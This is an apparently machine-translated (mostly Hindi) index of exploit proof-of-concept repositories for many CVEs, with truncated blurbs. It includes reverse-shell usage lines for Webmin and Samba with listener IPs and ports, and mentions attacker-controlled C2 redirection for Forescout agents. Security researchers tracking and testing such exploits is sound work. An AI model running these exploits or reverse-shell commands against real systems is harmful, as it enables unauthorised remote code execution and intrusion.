CVE-2024-49379

CVE-2024-49379 के लिए प्रूफ ऑफ कॉन्सेप्ट PoC यह रिपॉजिटरी UmbrelOS में पहचाने गए एक गंभीर कमजोरी के लिए Python-आधारित प्रूफ ऑफ कॉन्सेप्ट PoC प्रदान करती है। यह कमजोरी क्रॉस-साइट स्क्रिप्टिंग XSS की अनुमति देती है, जो विशिष्ट परिस्थितियों में रिमोट कोड निष्पादन RCE तक बढ़ सकती है। अवलोकन CVE :...

CVE-2023-50164-PoC

CVE-2023-50164 PoC This repository is a proof of concept PoC of the CVE-2023-50164 vulnerability. 1. About CVE-2023-50164 CVE-2023-50164 is a file path traversal vulnerability that occurs in Apache Struts web application. An attacker could exploit this vulnerability to upload malicious file...

CVE-2022-21445

CVE-2022-21445 एक्सप्लॉइट - PoC यह टूलकिट CVE-2022-21445 के लिए एक्सप्लॉइट पेलोड जनरेट करता है, जो Oracle ADF Faces चला रहे Oracle WebLogic Server 12.2.1.x को प्रभावित करने वाली एक गंभीर Java डिसीरियलाइज़ेशन कमज़ोरी है। यह दोष RemoteApplicationResourceLoader घटक में मौजूद है और एक हमलावर को विशेष...

asa_tools

Cisco ASA RCE सत्यापन इस स्क्रिप्ट का उपयोग CVE-2016-1287 की उपस्थिति की पुष्टि करने के लिए किया जा सकता है। इसके लिए python3 और python hexdump मॉड्यूल स्थापित होना आवश्यक है। root@kitploit: $ sudo pip3 install hexdump इसे निम्नानुसार चलाया जा सकता है root@kitploit: python3 cisco-asa.py...

CVE-2025-4660

विवरण CVE-2025-4660, Forescout SecureConnector RCE के लिए एक PoC forescoutredirect.py यह स्वयं शोषण है जहां आप किसी एजेंट को हमलावर के नियंत्रण में एक विशिष्ट IP पते पर रीडायरेक्ट कर सकते हैं forescoutc2.py एक सरल C2 कार्यान्वयन जो ForeScout SecureConnector भाषा बोलता है...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 अनधिकृत रिमोट कोड निष्पादन यह स्क्रिप्ट Webmin 1.890 में बिना प्रमाणीकरण के कमांड निष्पादन भेद्यता का शोषण करने के लिए डिज़ाइन की गई है। यह आपको लक्षित Webmin सर्वर पर मनमाने कमांड निष्पादित करने या रिवर्स शेल प्राप्त करने की अनुमति देती है। उपयोग यह एक्सप्लॉइट 5 तर्क...

nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e इस मॉड्यूल के लिए Metasploit आवश्यक है: वर्तमान स्रोत: MetasploitModule 'Wordpress Popular Posts Authenticated RCE', 'Description' = %q इस एक्सप्लॉइट के लिए Metasploit के पास एक FQDN होना चाहिए और पोर्ट 80, 443, या 8080 पर पेलोड वेब सर्वर चलाने की क्षमता होनी चाहिए। FQD...

CVE-2025-53770

CVE-2025-53770 SharePoint डिसीरियलाइज़ेशन RCE PoC गंभीर — Microsoft SharePoint Server में असुरक्षित डिसीरियलाइज़ेशन के माध्यम से अप्रमाणित दूरस्थ कोड निष्पादन CVE-2025-53770 विवरण ऑन-प्रिमाइसेस Microsoft SharePoint Server में अविश्वस्त डेटा का डिसीरियलाइज़ेशन एक हमलावर को दूरस्थ रूप से कोड...

CVE-2024-32113

CVE-2024-32113 Apache OFBIZ में पथ भ्रमण जो RCE EXP की ओर ले जाता है। Apache OFBiz में प्रतिबंधित निर्देशिका में पथनाम की अनुचित सीमा 'Path Traversal' कमजोरी। यह समस्या Apache OFBiz के संस्करण 18.12.14 से पहले शामिल नहीं को प्रभावित करती है। उपयोगकर्ताओं को संस्करण 18.12.14 में अपग्रेड करने की सल...

CVE-2025-11953-POC-

CVE-2025-11953 - React Native CLI RCE अनुसंधान वातावरण 📋 अवलोकन CVE-2025-11953, React Native CLI के Metro विकास सर्वर में पाई जाने वाली एक गंभीर Remote Code Execution RCE भेद्यता है, जिसे JFrog Security द्वारा खोजा गया है। यह अनुसंधान वातावरण रक्षात्मक सुरक्षा अनुसंधान, डिटेक्शन विकास और मिटिगेशन...

CVE-2018-5955

CVE-2018-5955 CVE-2018-5955 GitStack 2.3.10 के लिए एक शोषण Unauthenticated RCE शोषण: GitStack 2.3.10 बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन Unauthenticated Remote Code Execution दिनांक: 18.01.2018 सॉफ़्टवेयर लिंक: https://gitstack.com/ शोषण लेखक: Kacper Szurek मूल शोषण:...

CVE-2007-2447-RCE

यह एक्सप्लॉयट आपको रिवर्स शेल प्राप्त करने में मदद करता है, Samba 3.0.20 3.0.25 का शोषण करते हुए · जब python3 के साथ --help पैरामीटर के साथ स्क्रिप्ट निष्पादित करते हैं, तो यह हमसे कई पैरामीटर मांगता है root@kitploit: --lhost LHOST आपका होस्ट वह IP जहां शेल प्राप्त होगा --lport LPORT आपका पोर्ट व...

CVE-2021-23639

अवलोकन md-to-pdf एक CLI टूल है जो Markdown फ़ाइलों को PDF में परिवर्तित करने के लिए उपयोग किया जाता है। इस पैकेज के प्रभावित संस्करण, JS इंजन को अक्षम किए बिना front matter सामग्री को पार्स करने के लिए gray-matter लाइब्रेरी का उपयोग करने के कारण, Remote Code Execution RCE के प्रति संवेदनशील हैं।...

CVE-2026-13768

CVE-2026-13768: विशेषाधिकार प्राप्त IoT हब क्रेडेंशियल — फ्लीट एन्यूमरेशन, डिवाइस RCE, और होम-नेटवर्क पिवट एडवाइज़री फ़ील्ड| मान ---|--- CVE| CVE-2026-13768 ICSA| ICSA-26-183-03 Gardyn IoT हब CVSS 3.1| 10.0 गंभीर Vector 3.1| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L Vector 4.0|...

CVE-2019-15107

CVE-2019-15107 webmin या minisever RCE स्क्रिप्ट उपयोग: v1.890 पर परीक्षण किया गया, लेकिन अन्य webmin संस्करणों पर भी काम करना चाहिए जिनमें यह बैकडोर स्थापित है। root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

Deathnote

Deathnote CVE-2022-30190 का प्रूफ ऑफ कॉन्सेप्ट जब MSDT को Word जैसे कॉलिंग एप्लिकेशन से URL प्रोटोकॉल का उपयोग करके बुलाया जाता है, तो एक रिमोट कोड निष्पादन भेद्यता मौजूद होती है। इस भेद्यता का सफलतापूर्वक शोषण करने वाला हमलावर कॉलिंग एप्लिकेशन के विशेषाधिकारों के साथ मनमाना कोड चला सकता है। हमला...

CVE-2023-21608

CVE-2023-21608 Adobe Acrobat Reader - CVE-2023-21608 - दूरस्थ कोड निष्पादन शोषण ब्लॉग https://medium.com/@Kushagra007/adobe-acrobat-reader-resetform-cagg-uaf-rce-exploit-cve-2023-21608-652624346c8f डेमो...

CVE-2023-34362

CVE-2023-34362 CVE-2023-34362 के लिए POC जो MOVEit Transfer को प्रभावित करता है तकनीकी विश्लेषण इस कमजोरी का तकनीकी मूल कारण विश्लेषण ब्लॉग पर पाया जा सकता है: सारांश यह POC एक SQL इंजेक्शन का दुरुपयोग करके sysadmin API एक्सेस टोकन प्राप्त करता है और फिर उस एक्सेस का उपयोग करके एक deserialization...

CVE-2022-23967

CVE-2022-23967 TightVNC 1.3.10 में, rfbproto.c के InitialiseRFBConnection में एक integer signedness त्रुटि और परिणामी heap-आधारित बफ़र ओवरफ़्लो है vncviewer घटक के लिए। malloc को दिए गए आकार पर कोई जाँच नहीं है, उदा., -1 स्वीकार किया जाता है। यह शून्य आकार का एक चंक आवंटित करता है, जो एक heap...

CVE-2022-22954-Testi

CVE-2022-22954-Testi CVE-2022-22954 भेद्यता का परीक्षण VMware Workspace ONE Access और Identity Manager में सर्वर-साइड टेम्पलेट इंजेक्शन के कारण एक रिमोट कोड निष्पादन भेद्यता मौजूद है। नेटवर्क एक्सेस रखने वाला कोई दुर्भावनापूर्ण अभिनेता सर्वर-साइड टेम्पलेट इंजेक्शन ट्रिगर कर सकता है, जिसके...